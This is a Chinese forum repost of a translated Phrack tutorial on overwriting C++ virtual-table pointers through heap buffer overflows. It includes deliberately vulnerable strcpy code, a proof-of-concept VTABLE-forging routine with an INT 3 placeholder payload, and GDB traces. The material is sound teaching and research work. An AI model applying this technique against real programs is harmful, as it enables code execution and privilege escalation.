荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: ainny (为何要走到这一步), 信区: Hacker
标  题: C++程序的缓冲区溢出攻击
发信站: BBS 荔园晨风站 (Mon Jun 26 06:41:54 2000), 转信


  安全技术 绿盟月刊 防毒天地 安全论坛 安全产品交易平台 首页


安全漏洞 业界新闻 安全文摘 工具介绍 绿盟原创

安全文摘
 所有系统 Linux UNIX Windows Other





C++程序的缓冲区溢出攻击

发布日期: 2000-6-23
内容:
--------------------------------------------------------------------------------


◆ 突破C++的虚拟指针--C++程序的缓冲区溢出攻击

作者:rix (rix@securiweb.net)
整理:backend (backend@isbase.com)
出处:http://www.isbase.com
主页:http://www.isbase.com
日期:2000-6-11


backend注:本文来自Phrack56期的《SMASHING C++ VPTRS》。正如大多数国外黑客的文章
,技术原理及应用都讲得比较详细,但所提供的源代码似乎总是会存在不大不小的问题。这
也许是因为他们觉得应该让读者自己去研究和调试,以更好地掌握这些技术。或许以后我也
会这样做。;)

测试环境:

    操作系统:Red Hat 6.1 (i386)
    内核版本:Kernel 2.2.14
    内核补丁:None               Non-executable stack patch (by Solar Design)
    C++编译器:gcc


---[[ 前言 ]]--------------------------------------

    到目前为止,我所掌握的缓冲区溢出程序都是针对C编程语言的。虽然C语言编程在
UNIX系统中几乎无处不在,但越来越多的C++程序也开始出现了。对于大多数情况,C语言的
溢出技术对于C++语言也是适用的,但C++的面向对象的特性也导致了新的缓冲区溢出技术。
下面以x86 Linux系统和C++ GNU编译器为平台进行分析。


---[[ 基础--简单的C++程序 ]]--------------------------------------

    我不愿在这里浪费时间讲解太多的C++语言基础。如果你对C++或面向对象编程技术一无
所知,请先找本这方面的书籍看看。在继续往下看之前,请确认你已经掌握或了解以下C++
术语:

    1、Class(类)
    2、Object(对象)
    3、Method(方法)
    4、Virtual(虚拟)
    5、Inherit(继承)
    6、Derivative(派生)

    接着,把下面的两个程序看完,确认你了解每条语句的含义和作用:

// bo1.cpp
// C++基础程序

#include <stdio.h>
#include <string.h>

class MyClass
{
    private:
        char Buffer[32];
    public:
        void SetBuffer(char *String)
        {
            strcpy(Buffer, String);
        }
        void PrintBuffer()
        {
            printf("%s\n", Buffer);
        }
};

void main()
{
     MyClass Object;

     Object.SetBuffer("string");
     Object.PrintBuffer();
}

===========================================================

// bo2.cpp
// 有缓冲区溢出漏洞的常见C++程序

#include <stdio.h>
#include <string.h>

class BaseClass
{
    private:
        char Buffer[32];
    public:
        void SetBuffer(char *String)
        {
            strcpy(Buffer,String);  // 存在缓冲区溢出漏洞
        }
        virtual void PrintBuffer()
        {
            printf("%s\n",Buffer);
        }
};

class MyClass1:public BaseClass
{
    public:
        void PrintBuffer()
        {
            printf("MyClass1: ");
            BaseClass::PrintBuffer();
        }
};

class MyClass2:public BaseClass
{
    public:
        void PrintBuffer()
        {
            printf("MyClass2: ");
            BaseClass::PrintBuffer();
        }
};

void main()
{
    BaseClass *Object[2];

    Object[0] = new MyClass1;
    Object[1] = new MyClass2;

    Object[0]->SetBuffer("string1");
    Object[1]->SetBuffer("string2");
    Object[0]->PrintBuffer();
    Object[1]->PrintBuffer();
}

    以下是bo2.cpp编译后的运行结果:

[backend@isbase test]> ./bo2
MyClass1: string1
MyClass2: string2
[backend@isbase test]>

    再一次提醒,在继续往下看时,确信你读懂了上面的程序,特别是对象虚拟(virtual
)方法PrintBuffer()。与SetBuffer()方法不同,PrintBuffer方法必须在基类BaseClass的
派生类MyClass1和MyClass2中声明并实现。这使得SetBuffer与PrintBuffer方法在运行时的
处理会有所不同。


---[[ C++的虚拟指针(Virtual PoinTeR,VPTR)]]
--------------------------------------

    我们知道,虚拟方法与非虚拟方法的一个不同之处是,非虚拟方法的调用是在编译时确
定(通常称为“静态绑定”),而虚拟方法的调用却是在程序时确定的(通常称为“动态绑
定”)。下面以上例中的BaseClass基类及其派生类为例,对动态绑定的机制做一些解释。

    编译器在编译时首先检查BaseClass基类的声明。在本例,编译器首先为私有变量
Buffer(字符串型)保留32个字节,接着为非虚拟方法SetBuffer()计算并指定相应的调用
地址(静态绑定处理),最后在检查到虚拟方法PrintBuffer()时,将做动态绑定处理,即
在类中分配4个字节用以存放该虚拟方法的指针。结构如下:

        BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV

说明: B 变量Buffer占用。
       V 虚拟方法指针占用。

    这个指针通常被称为“VPTR”(Virtual Pointer),它指向一个“VTABLE”结构中的
函数入口之一。每一个类都有一个VTABLE。如下图所示:

Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
                                           =+==
                        |
         +------------------------------+
         |
         +--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP

Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW
                                           =+==
                        |
         +------------------------------+
         |
         +--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ

说明: B 变量Buffer占用。
       V 指向VTABLE_MyClass1的VPTR指针占用。
       W 指向VTABLE_MyClass2的VPTR指针占用。
       I 其它用途的数据
       P MyClass1对象实例的PrintBuffer()方法的地址指针。
       Q MyClass2对象实例的PrintBuffer()方法的地址指针。

    我们可以发现,VPTR位于进程内存中Buffer变量之后。即当调用危险的strcpy()函数时
有可能覆盖VPTR的内容!

    根据rix的研究测试,对于Windows平台上的Visual C++ 6.0,VPTR位于对象的起始位置
,因此这里提到的技术无法产生作用。这点与GNU C++有很大的不同。


---[[ 剖析VPTR ]]--------------------------------------

    在Linux下当然是使用GDB来分析了:

[backend@isbase test]> gcc -o bo2 bo2.cpp
[backend@isbase test]> gdb bo2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8049400 <main>:       push   %ebp
0x8049401 <main+1>:     mov    %esp,%ebp
0x8049403 <main+3>:     sub    $0x8,%esp
0x8049406 <main+6>:     push   %edi
0x8049407 <main+7>:     push   %esi
0x8049408 <main+8>:     push   %ebx
0x8049409 <main+9>:     push   $0x24
0x804940b <main+11>:    call   0x804b580 <__builtin_new>
0x8049410 <main+16>:    add    $0x4,%esp
0x8049413 <main+19>:    mov    %eax,%eax
0x8049415 <main+21>:    mov    %eax,%ebx
0x8049417 <main+23>:    push   %ebx
0x8049418 <main+24>:    call   0x804c90c <__8MyClass1>
0x804941d <main+29>:    add    $0x4,%esp
0x8049420 <main+32>:    mov    %eax,%esi
0x8049422 <main+34>:    jmp    0x8049430 <main+48>
0x8049424 <main+36>:    call   0x8049c3c <__throw>
0x8049429 <main+41>:    lea    0x0(%esi,1),%esi
0x8049430 <main+48>:    mov    %esi,0xfffffff8(%ebp)
0x8049433 <main+51>:    push   $0x24
0x8049435 <main+53>:    call   0x804b580 <__builtin_new>
0x804943a <main+58>:    add    $0x4,%esp
0x804943d <main+61>:    mov    %eax,%eax
0x804943f <main+63>:    mov    %eax,%esi
0x8049441 <main+65>:    push   %esi
0x8049442 <main+66>:    call   0x804c8ec <__8MyClass2>
0x8049447 <main+71>:    add    $0x4,%esp
0x804944a <main+74>:    mov    %eax,%edi
0x804944c <main+76>:    jmp    0x8049455 <main+85>
0x804944e <main+78>:    mov    %esi,%esi
0x8049450 <main+80>:    call   0x8049c3c <__throw>
0x8049455 <main+85>:    mov    %edi,0xfffffffc(%ebp)
0x8049458 <main+88>:    push   $0x804cda2
0x804945d <main+93>:    mov    0xfffffff8(%ebp),%eax
0x8049460 <main+96>:    push   %eax
0x8049461 <main+97>:    call   0x804c930 <SetBuffer__9BaseClassPc>
0x8049466 <main+102>:   add    $0x8,%esp
0x8049469 <main+105>:   push   $0x804cdaa
---Type <return> to continue, or q <return> to quit---
0x804946e <main+110>:   mov    0xfffffffc(%ebp),%eax
0x8049471 <main+113>:   push   %eax
0x8049472 <main+114>:   call   0x804c930 <SetBuffer__9BaseClassPc>
0x8049477 <main+119>:   add    $0x8,%esp
0x804947a <main+122>:   mov    0xfffffff8(%ebp),%edx
0x804947d <main+125>:   mov    0x20(%edx),%eax
0x8049480 <main+128>:   add    $0x8,%eax
0x8049483 <main+131>:   mov    0xfffffff8(%ebp),%edx
0x8049486 <main+134>:   push   %edx
0x8049487 <main+135>:   mov    (%eax),%edi
0x8049489 <main+137>:   call   *%edi
0x804948b <main+139>:   add    $0x4,%esp
0x804948e <main+142>:   mov    0xfffffffc(%ebp),%edx
0x8049491 <main+145>:   mov    0x20(%edx),%eax
0x8049494 <main+148>:   add    $0x8,%eax
0x8049497 <main+151>:   mov    0xfffffffc(%ebp),%edx
0x804949a <main+154>:   push   %edx
0x804949b <main+155>:   mov    (%eax),%edi
0x804949d <main+157>:   call   *%edi
0x804949f <main+159>:   add    $0x4,%esp
0x80494a2 <main+162>:   xor    %eax,%eax
0x80494a4 <main+164>:   jmp    0x80494d0 <main+208>
0x80494a6 <main+166>:   jmp    0x80494d0 <main+208>
0x80494a8 <main+168>:   push   %ebx
0x80494a9 <main+169>:   call   0x804b4f0 <__builtin_delete>
0x80494ae <main+174>:   add    $0x4,%esp
0x80494b1 <main+177>:   jmp    0x8049424 <main+36>
0x80494b6 <main+182>:   push   %esi
0x80494b7 <main+183>:   call   0x804b4f0 <__builtin_delete>
0x80494bc <main+188>:   add    $0x4,%esp
0x80494bf <main+191>:   jmp    0x8049450 <main+80>
0x80494c1 <main+193>:   jmp    0x80494c8 <main+200>
0x80494c3 <main+195>:   call   0x8049c3c <__throw>
0x80494c8 <main+200>:   call   0x8049fc0 <terminate__Fv>
0x80494cd <main+205>:   lea    0x0(%esi),%esi
0x80494d0 <main+208>:   lea    0xffffffec(%ebp),%esp
0x80494d3 <main+211>:   pop    %ebx
0x80494d4 <main+212>:   pop    %esi
0x80494d5 <main+213>:   pop    %edi
---Type <return> to continue, or q <return> to quit---
0x80494d6 <main+214>:   leave
0x80494d7 <main+215>:   ret
0x80494d8 <main+216>:   nop
0x80494d9 <main+217>:   nop
0x80494da <main+218>:   nop
0x80494db <main+219>:   nop
0x80494dc <main+220>:   nop
0x80494dd <main+221>:   nop
0x80494de <main+222>:   nop
0x80494df <main+223>:   nop
End of assembler dump.
(gdb)

    以下是对该程序汇编代码的解释:

0x8049400 <main>:       push   %ebp
0x8049401 <main+1>:     mov    %esp,%ebp
0x8049403 <main+3>:     sub    $0x8,%esp
0x8049406 <main+6>:     push   %edi
0x8049407 <main+7>:     push   %esi
0x8049408 <main+8>:     push   %ebx

    构建堆栈。为Object[]数组保留8个字节(即两个4字节指针地址),则Object[0]的指
针存放在0xfffffff8(%ebp),Object[1]的指针存放在0fffffffc(%ebp)。接着保存寄存器。

0x8049409 <main+9>:     push   $0x24
0x804940b <main+11>:    call   0x804b580 <__builtin_new>
0x8049410 <main+16>:    add    $0x4,%esp

    首先调用__builtin_new,在堆(heap)中分配0x24(36字节)给Object[0],并将其首
地址保存到EAX寄存器中。这36字节中前32字节是Buffer变量的,后4字节由VPTR占用。

0x8049413 <main+19>:    mov    %eax,%eax
0x8049415 <main+21>:    mov    %eax,%ebx
0x8049417 <main+23>:    push   %ebx
0x8049418 <main+24>:    call   0x804c90c <__8MyClass1>
0x804941d <main+29>:    add    $0x4,%esp

    将对象的首地址压栈,然后调用__8MyClass1函数。这其实是MyClass1对象的构造函数
(constructor)。

(gdb) disassemble __8MyClass1
Dump of assembler code for function __8MyClass1:
0x804c90c <__8MyClass1>:        push   %ebp
0x804c90d <__8MyClass1+1>:      mov    %esp,%ebp
0x804c90f <__8MyClass1+3>:      push   %ebx
0x804c910 <__8MyClass1+4>:      mov    0x8(%ebp),%ebx

    寄存器EBX现在存放着指向分配的36个字节的指针(在C++语言中,称之为"This"指针)


0x804c913 <__8MyClass1+7>:      push   %ebx
0x804c914 <__8MyClass1+8>:      call   0x804c958 <__9BaseClass>
0x804c919 <__8MyClass1+13>:     add    $0x4,%esp

    首先调用基类BaseClass的构造函数。

(gdb) disassemble __9BaseClass
Dump of assembler code for function __9BaseClass:
0x804c958 <__9BaseClass>:       push   %ebp
0x804c959 <__9BaseClass+1>:     mov    %esp,%ebp
0x804c95b <__9BaseClass+3>:     mov    0x8(%ebp),%edx

    寄存器EDX现在存放着指向分配的36个字节的指针("This"指针)。

0x804c95e <__9BaseClass+6>:     movl   $0x804e01c,0x20(%edx)

    将0x804e01c存放到EDX+0x20(=EDX+32)。让我们看看该0x804e01c地址内存数据:

(gdb) x 0x804e01c
0x804e01c <__vt_9BaseClass>:    0x00000000

    可以看到这个存放到EDX+0x20(即该对象的VPTR位置)的地址是基类BaseClass的
VTABLE地址。
    现在回到MyClass1对象的构造函数:

0x804c91c <__8MyClass1+16>:     movl   $0x804e010,0x20(%ebx)

    将0x804e010存放到EBX+0x20(即VPTR)。同样让我们看看该0x804e010地址内存数据:

(gdb) x 0x804e010
0x804e010 <__vt_8MyClass1>:     0x00000000

    现在,我们知道VPTR被改写了,再在它的内容是MyClass1对象的VTABLE地址。当返回到
main()函数时寄存器EAX中存放着该对象在内存中的指针。

0x8049420 <main+32>:    mov    %eax,%esi
0x8049422 <main+34>:    jmp    0x8049430 <main+48>
0x8049424 <main+36>:    call   0x8049c3c <__throw>
0x8049429 <main+41>:    lea    0x0(%esi,1),%esi
0x8049430 <main+48>:    mov    %esi,0xfffffff8(%ebp)

    将得到的地址指针赋予Object[0]。然后程序对Object[1]进行同样的处理,只不过返回
的地址不同罢了。在经过以上对象初始化处理后,将执行以下指令:

0x8049458 <main+88>:    push   $0x804cda2
0x804945d <main+93>:    mov    0xfffffff8(%ebp),%eax
0x8049460 <main+96>:    push   %eax

    将0x804cda2和Object[0]的值压栈。观察一下0x804cda2的内容:

(gdb) x/s 0x804cda2
0x804cda2 <_IO_stdin_used+30>:   "string1"

    可知该地址存放了将要通过基类BaseClass的SetBuffer函数拷贝到Buffer中的字符串
"string1"。

0x8049461 <main+97>:    call   0x804c930 <SetBuffer__9BaseClassPc>
0x8049466 <main+102>:   add    $0x8,%esp

    调用基类BaseClass的SetBuffer()方法。注意到这种SetBuffer方法的调用是“静态绑
定”(因为它不是虚拟方法)。对Object[1]的处理也是一样的。

    为了验证这两个对象在运行时都被正确地初始化,我们将要设置如下断点:

0x8049410: 获得第一个对象的地址。
0x804943a: 获得第二个对象的地址。
0x804947a: 检验对象的初始化是否正确。

(gdb) break *0x8049410
Breakpoint 1 at 0x8049410
(gdb) break *0x804943a
Breakpoint 2 at 0x804943a
(gdb) break *0x804947a
Breakpoint 3 at 0x804947a

    现在运行这个程序:

Starting program: /home/backend/test/bo2

Breakpoint 1, 0x8049410 in main ()

    查看EAX寄存器,将得到第一个对象的地址:

(gdb) info reg eax
eax            0x804f870        134543472

    接着运行到下一个断点:

(gdb) cont
Continuing.

Breakpoint 2, 0x804943a in main ()

    查看第二个对象的地址:

(gdb) info reg eax
eax            0x804f898        134543512

    继续运行,直到对象的构造函数和SetBuffer()方法均已执行。

(gdb) cont
Continuing.

Breakpoint 3, 0x804947a in main ()

    这两个对象实例的内存地址分别为0x804f870和0x804f898。然而,0x804f898 -
0x804f870 = 0x28(40),这表明在第一个对象与第二个对象之间多了4个字节的内容。让
我们看看是什么:

(gdb) x/aw 0x804f898-4
0x804f894:      0x29

    原来是0x29。第二个对象的结尾也有这种特殊的数据:

(gdb) x/xb 0x804f898+32+4
0x804f8bc:      0x49

    下面我们来看一下初始化后这两个对象的结构内容:

(gdb) x/s 0x804f870
0x804f870:       "string1"
(gdb) x/a 0x804f870+32
0x804f890:      0x8048948 <__vt_8MyClass1>
(gdb) x/s 0x804f898
0x804f898:       "string2"
(gdb) x/a 0x804f898+32
0x804f8b8:      0x804e004 <force_to_data>

    再看一下这两个对象实例的VTABLE中的内容:

(gdb) x/a 0x804e010
0x804e010 <__vt_8MyClass1>:     0x0
(gdb) x/a 0x804e010+4
0x804e014 <__vt_8MyClass1+4>:   0x804ca10 <__tf8MyClass1>
(gdb) x/a 0x804e010+8
0x804e018 <__vt_8MyClass1+8>:   0x804c9e0 <PrintBuffer__8MyClass1>
(gdb) x/a 0x804e004
0x804e004 <force_to_data>:      0x0
(gdb) x/a 0x804e004+4
0x804e008 <force_to_data+4>:    0x804c9a0 <__tf8MyClass2>
(gdb) x/a 0x804e004+8
0x804e00c <force_to_data+8>:    0x804c970 <PrintBuffer__8MyClass2>

    我们看到,PrintBuffer()方法正好位于其对象实例的VTABLE的第三个方法。现在让我
们单步执行后面的代码,来分析一下“动态绑定”的机制:

(gdb) ni

    接下来要执行的指令为:

0x804947a <main+122>:   mov    0xfffffff8(%ebp),%edx

    该指令使EDX寄存器指向第一个对象实例。

0x804947d <main+125>:   mov    0x20(%edx),%eax
0x8049480 <main+128>:   add    $0x8,%eax

    这两条指令使EAX寄存器指向MyClass1对象实例VTABLE的第三个地址(PrintBuffer方法
入口)。

0x8049483 <main+131>:   mov    0xfffffff8(%ebp),%edx
0x8049486 <main+134>:   push   %edx

    这两条指令使EDX寄存器指向第一个对象实例,并将该指针压栈。

0x8049487 <main+135>:   mov    (%eax),%edi           // EDI = *(VPTR+8)
0x8049489 <main+137>:   call   *%edi                 // run the code at EDI

    这两条指令将VTABLE的第三个地址存放到EDI寄存器,该地址为MyClass1对象实例的
PrintBuffer()方法的入口。MyClass2对象实例的处理机制是一样的。
    最后,主函数正常返回,主程序结束。


---[[ 突破VPTR ]]--------------------------------------

    现在让我们来探讨如何突破上面那个有缓冲区溢出漏洞的程序。要达到这个目的,必须
能够做到:

    - 构造我们自己的VTABLE,其中的指针入口将指向我们期望运行的代码(如
shellcode等)。
    - 使缓冲区溢出,并覆盖VPTR,使其指向我们的VTABLE。

    也就是说,在被溢出缓冲区的开始构造一个VTABLE,然后使被覆盖后的VPTR能够指向该
缓冲区的起始位置(即我们的VTABLE)。至于shellcode的位置,既可以在缓冲区中VTABLE
之后,也可以位于被覆盖的VPTR之后。
不过,如果我们将shellcode放到VPTR之后,则须确保该部份内存可写,否则会导致段错误
。在这里如何选择取决于缓冲区的大小。如果缓冲区足够大,可以容纳VTABLE和shellcode
,则可以完全避免段错误。
此外还要注意,在每一个对象实例后都有4字节的特定数所(0x29,0x49),同时记住在
VPTR后添加字符串结束符00h。

    我们决定把shellcode放在VPTR之前,即需要构造如下结构的缓冲区:

+------(1)---<----------------+
|                             |
|                           ==+=
SSSS ..... SSSS ....  B ... CVVVV0
==+=       =+==             |
  |         |               |
  +----(2)--+->-------------+

说明: V 缓冲区首部的地址。
       S shellcode的地址。
       B 空指令,同时使地址边界对齐。
       C shellcode代码。在本例中,我们只用一个字节CCh(汇编指令为INT 3)。
       0 字符串缓冲区尾部标识。


    位于缓冲区首部的SSSS的数量取决于你是否知道VPTR指向VTABLE中的那个方法相对于第
一个方法的偏移量。当缓冲区溢出后:

    如果知道偏移量(或称索引),可以构造精确的指针。
    如果不知道确切的索引值,我们就用覆盖多个方法的入口指针,以确保会跳转到我们的
shellcode。即类似于“窗口命中”原理。

    VVVV的值必须通过分析被溢出程序的运行过程都能得到。
    需要注意的是,对象实例的内存空间是在堆(heap)中分配的,这使得确定其地址的难
度有所加大。

    我们将要编写一个用于构造所需缓冲区的函数。该函数接收三个参数:

    - BufferAddress:被溢出缓冲区的起始地址。
    - NAddress:覆盖方法入口指针的数量。

    BufferOverflow()函数代码如下:

char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;

Buffer=(char*)malloc(VPTROffset+4);
  // 分配内存

CCOffset=(unsigned long)VPTROffset-1;
  // 计算执行代码在缓冲区中的偏移量

for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
  // 填充空指令NOP

LongBuffer=(unsigned long*)Buffer;
  // 构造指向包含VTABLE结构的缓冲区的指针

for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
  // 在缓冲区首部(VTABLE结构)填充执行代码的地址

LongBuffer=(unsigned long*)&Buffer[VPTROffset];
  // 指向VPTR的指针

*LongBuffer=BufferAddress;
  // 覆盖VPTR的数值

Buffer[CCOffset]='\xCC';
  // 被执行代码

Buffer[VPTROffset+4]='\x00';
  // 字符串结束字符

return Buffer;
}


    在调用这个BufferOverflow()函数时需要传递以下参数:

    - 缓冲区地址(在本例为Object[0]对象实例的地址)
    - 被覆盖方法入口地址在VTABLE中的索引(在我的机器中本例为3)
    - VPTR的偏移量(在本例为32)

    测试程序(bo3.cpp)源代码如下:

#include <stdio.h>
#include <string.h>
#include <malloc.h>

class BaseClass {
private:
char Buffer[32];
public:
void SetBuffer(char *String) {
  strcpy(Buffer,String);
}
virtual void PrintBuffer() {
  printf("%s\n",Buffer);
}
};

class MyClass1:public BaseClass {
public:
void PrintBuffer() {
  printf("MyClass1: ");
  BaseClass::PrintBuffer();
}
};

class MyClass2:public BaseClass {
public:
void PrintBuffer() {
  printf("MyClass2: ");
  BaseClass::PrintBuffer();
}
};

char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;

Buffer=(char*)malloc(VPTROffset+4+1);

CCOffset=(unsigned long)VPTROffset-1;
for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
LongBuffer=(unsigned long*)Buffer;
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
*LongBuffer=BufferAddress;
Buffer[CCOffset]='\xCC';
Buffer[VPTROffset+4]='\x00';
return Buffer;
}

void main() {
BaseClass *Object[2];

Object[0]=new MyClass1;
Object[1]=new MyClass2;
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,32));
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}


    编译并运行GDB调试器:

[backend@isbase test] > gcc -o bo3 bo3.cpp
[backend@isbase test] > gdb bo3
...
(gdb) disassemble main
Dump of assembler code for function main:
0x80494cc <main>:       push   %ebp
0x80494cd <main+1>:     mov    %esp,%ebp
0x80494cf <main+3>:     sub    $0x8,%esp
0x80494d2 <main+6>:     push   %edi
0x80494d3 <main+7>:     push   %esi
0x80494d4 <main+8>:     push   %ebx
0x80494d5 <main+9>:     push   $0x24
0x80494d7 <main+11>:    call   0x804b660 <__builtin_new>
0x80494dc <main+16>:    add    $0x4,%esp
0x80494df <main+19>:    mov    %eax,%eax
0x80494e1 <main+21>:    mov    %eax,%ebx
0x80494e3 <main+23>:    push   %ebx
0x80494e4 <main+24>:    call   0x804c9ec <__8MyClass1>
0x80494e9 <main+29>:    add    $0x4,%esp
0x80494ec <main+32>:    mov    %eax,%esi
0x80494ee <main+34>:    jmp    0x80494f5 <main+41>
0x80494f0 <main+36>:    call   0x8049d1c <__throw>
0x80494f5 <main+41>:    mov    %esi,0xfffffff8(%ebp)
0x80494f8 <main+44>:    push   $0x24
0x80494fa <main+46>:    call   0x804b660 <__builtin_new>
0x80494ff <main+51>:    add    $0x4,%esp
0x8049502 <main+54>:    mov    %eax,%eax
0x8049504 <main+56>:    mov    %eax,%esi
0x8049506 <main+58>:    push   %esi
0x8049507 <main+59>:    call   0x804c9cc <__8MyClass2>
0x804950c <main+64>:    add    $0x4,%esp
0x804950f <main+67>:    mov    %eax,%edi
0x8049511 <main+69>:    jmp    0x8049518 <main+76>
0x8049513 <main+71>:    call   0x8049d1c <__throw>
0x8049518 <main+76>:    mov    %edi,0xfffffffc(%ebp)
0x804951b <main+79>:    push   $0x20
0x804951d <main+81>:    push   $0x3
0x804951f <main+83>:    mov    0xfffffff8(%ebp),%eax
0x8049522 <main+86>:    push   %eax
0x8049523 <main+87>:    call   0x8049400 <BufferOverflow__FUlii>
0x8049528 <main+92>:    add    $0xc,%esp
0x804952b <main+95>:    mov    %eax,%eax
0x804952d <main+97>:    push   %eax
---Type <return> to continue, or q <return> to quit---
0x804952e <main+98>:    mov    0xfffffff8(%ebp),%eax
0x8049531 <main+101>:   push   %eax
0x8049532 <main+102>:   call   0x804ca10 <SetBuffer__9BaseClassPc>
0x8049537 <main+107>:   add    $0x8,%esp
0x804953a <main+110>:   push   $0x804ce82
0x804953f <main+115>:   mov    0xfffffffc(%ebp),%eax
0x8049542 <main+118>:   push   %eax
0x8049543 <main+119>:   call   0x804ca10 <SetBuffer__9BaseClassPc>
0x8049548 <main+124>:   add    $0x8,%esp
0x804954b <main+127>:   mov    0xfffffff8(%ebp),%edx
0x804954e <main+130>:   mov    0x20(%edx),%eax
0x8049551 <main+133>:   add    $0x8,%eax
0x8049554 <main+136>:   mov    0xfffffff8(%ebp),%edx
0x8049557 <main+139>:   push   %edx
0x8049558 <main+140>:   mov    (%eax),%edi
0x804955a <main+142>:   call   *%edi
0x804955c <main+144>:   add    $0x4,%esp
0x804955f <main+147>:   mov    0xfffffffc(%ebp),%edx
0x8049562 <main+150>:   mov    0x20(%edx),%eax
0x8049565 <main+153>:   add    $0x8,%eax
0x8049568 <main+156>:   mov    0xfffffffc(%ebp),%edx
0x804956b <main+159>:   push   %edx
0x804956c <main+160>:   mov    (%eax),%edi
0x804956e <main+162>:   call   *%edi
0x8049570 <main+164>:   add    $0x4,%esp
0x8049573 <main+167>:   xor    %eax,%eax
0x8049575 <main+169>:   jmp    0x80495b0 <main+228>
0x8049577 <main+171>:   jmp    0x80495b0 <main+228>
0x8049579 <main+173>:   lea    0x0(%esi,1),%esi
0x8049580 <main+180>:   push   %ebx
0x8049581 <main+181>:   call   0x804b5d0 <__builtin_delete>
0x8049586 <main+186>:   add    $0x4,%esp
0x8049589 <main+189>:   jmp    0x80494f0 <main+36>
0x804958e <main+194>:   mov    %esi,%esi
0x8049590 <main+196>:   push   %esi
0x8049591 <main+197>:   call   0x804b5d0 <__builtin_delete>
0x8049596 <main+202>:   add    $0x4,%esp
0x8049599 <main+205>:   jmp    0x8049513 <main+71>
0x804959e <main+210>:   jmp    0x80495a5 <main+217>
---Type <return> to continue, or q <return> to quit---
0x80495a0 <main+212>:   call   0x8049d1c <__throw>
0x80495a5 <main+217>:   call   0x804a0a0 <terminate__Fv>
0x80495aa <main+222>:   lea    0x0(%esi),%esi
0x80495b0 <main+228>:   lea    0xffffffec(%ebp),%esp
0x80495b3 <main+231>:   pop    %ebx
0x80495b4 <main+232>:   pop    %esi
0x80495b5 <main+233>:   pop    %edi
0x80495b6 <main+234>:   leave
0x80495b7 <main+235>:   ret
0x80495b8 <main+236>:   nop
0x80495b9 <main+237>:   nop
0x80495ba <main+238>:   nop
0x80495bb <main+239>:   nop
0x80495bc <main+240>:   nop
0x80495bd <main+241>:   nop
0x80495be <main+242>:   nop
0x80495bf <main+243>:   nop
End of assembler dump.


    我们在0x80494ec处设置一个断点,以获得第一个对象实例的地址。

(gdb) break *0x80494ec
Breakpoint 1 at 0x80494ec
(gdb) run
Starting program: /home/backend/test/bo3

Breakpoint 1, 0x80494ec in main ()

    运行程序:

(gdb) run
Starting program: /home/backend/test/bo3

Breakpoint 1, 0x80494ec in main ()

(gdb) info reg eax
eax            0x804f970        134543728

    继续运行:

(gdb) cont
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x804f990 in ?? ()

    我们的进程接收到一个SIGTRAP信号(该信号由位于0x804f990处的指令产生)。在上面
我们已经知道对象实例的地址为0x804f970。计算 0x804f990-0x804f970-1=0x1f (=31),刚
好就是CCh(INT 3的机器码)在缓冲区的偏移量。因此可以很肯定地说CCh已经被执行了!

    我想你们也一定想到了,如果用一段shellcode替换CCh,就会执行这段shellcode。特
别是如果bo3程序是suid属性的话……;)


---[[ 进阶 ]]--------------------------------------

    在上面我们讨论了最简单的溢出攻击机制。下面来探讨一些更高级的技术。

    例如,对于以下这个类:

class MyClass3 {
private:
char Buffer3[32];
MyClass1 *PtrObjectClass;
public:
virtual void Function1() {
  ...
  PtrObjectClass1->PrintBuffer();
  ...
}
};

    在MyClass3类中包含了一个指向另一个类的指针。如果我们溢出了MyClass3的Buffer3
缓冲区,就会改写MyClass1类PtrObjectClass对象实例的指针。也就是说我们只需使覆盖后
的指针指向一个早已定义好的类即可。;)

+----------------------------------------------------+
|                                                    |
+-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR                |
                                                     =+==
MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX
                                                 ==+=
                                                   |
+---------------------<---------------------------+
|
+--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
                                                       ==+=
                                                         |
+-------------------------------------------------------+
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ

说明: B MyClass3对象实例的Buffer。
       C MyClass1对象实例的Buffer。
       P 指向MyClass1对象实例的指针。
       X MyClass3对象实例的VPTR指针。
       Y MyClass1对象实例的VPTR指针。


    在这种技术中,它并不取决于编译器对类结构的处理(VPTR的偏移),但取决于程序员
所定义的类结构。因此它对于在内存中把VPTR放在对象实例前的编译器(如Visual C++)也
是有效的。
另外,在本例中,MyClass3对象类有可能会被作为本地对象而在堆栈中创建,这就使得地址
的确定相对容易多了,因为对象实例的地址很可能是固定的。然而,在这种情况下,栈必须
允许执行,而不象上例那样需要堆可执行。

    确定BufferOverflow()函数中的两个参数值(填充VTABLE地址数量NAddress,VPTR的偏
移量VPTROffset)并不件困难的事,因为通过调试程序就不难发现它们。但是第一个参数(
对象实例在内存中的地址BufferAddress)却不容易得到(在没有源程序代码的情况下)。


---[[ 进阶,进阶,再进阶 ]]--------------------------------------

